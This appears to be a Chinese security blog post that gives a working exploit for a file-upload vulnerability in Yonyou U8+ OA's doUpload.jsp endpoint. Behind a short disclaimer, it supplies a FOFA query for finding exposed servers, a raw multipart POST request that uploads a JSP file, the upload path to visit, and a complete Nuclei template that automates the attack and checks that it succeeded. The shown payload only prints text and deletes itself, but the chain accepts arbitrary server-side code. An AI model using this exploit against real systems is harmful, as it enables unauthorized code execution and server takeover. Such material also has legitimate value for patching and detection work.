用友U8+OA doUpload.jsp 文件上传漏洞

免责声明：文章来源互联网收集整理，请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

Ⅰ、漏洞描述

用友U8+ OA经过20多年的市场锤炼，不断贴近客户需求，以全新UAP为平台，应对中型及成长型企业客户群的发展，提供的是一整套企业级数智化升级解决方案，为成长型企业构建精细管理、产业链协同、社交化运营为一体的企业互联网经营管理平台，助力企业应势而变，赢得未来。

用友U8+ OA doUpload.jsp 接口存在文件上传漏洞，攻击者可通过该漏洞在服务器端写入后门文件，任意执行代码，获取服务器权限，进而控制整个 web 服务器。

Ⅱ、fofa语句

"用友U8-OA" && body="yyoa"

Ⅲ、漏洞复现

POC

POST /yyoa/portal/tools/doUpload.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Connection: close
Content-Length: 248
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----syowx9dzsw75xlftuop1

------syowx9dzsw75xlftuop1
Content-Disposition: form-data; name="iconFile";filename="p3jxifcpyb.jsp"

<% out.println("Hello World!");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>    
------syowx9dzsw75xlftuop1--

1、构建poc

2、访问

http://127.0.0.1/yyoa/portal/upload/1707381374791.jsp

Ⅳ、Nuclei-POC

id: yonyou-U8-OA-doUpload-jsp-uploadfile

info:
  name: 用友U8+ OA doUpload.jsp 接口存在文件上传漏洞，攻击者可通过该漏洞在服务器端写入后门文件，任意执行代码，获取服务器权限，进而控制整个 web 服务器。
  author: WLF
  severity: high
  metadata: 
    fofa-query: ceshi
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /yyoa/portal/tools/doUpload.jsp HTTP/2
        Host:{{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
        Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
        Accept-Encoding: gzip, deflate, br
        Accept-Language: zh-CN,zh;q=0.9
        Content-Type: multipart/form-data; boundary=----{{boundary}}
        
        ------{{boundary}}
        Content-Disposition: form-data; name="iconFile";filename="{{filename}}.jsp"
        
        <% out.println("Hello World!");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
        ------{{boundary}}--



      - |
        GET /yyoa/portal/upload/{{path}}.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

    extractors:
      - type: regex
        name: path
        group: 1
        regex:
           - 'returnValue = \"(\w*)\.jsp'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"Hello World!")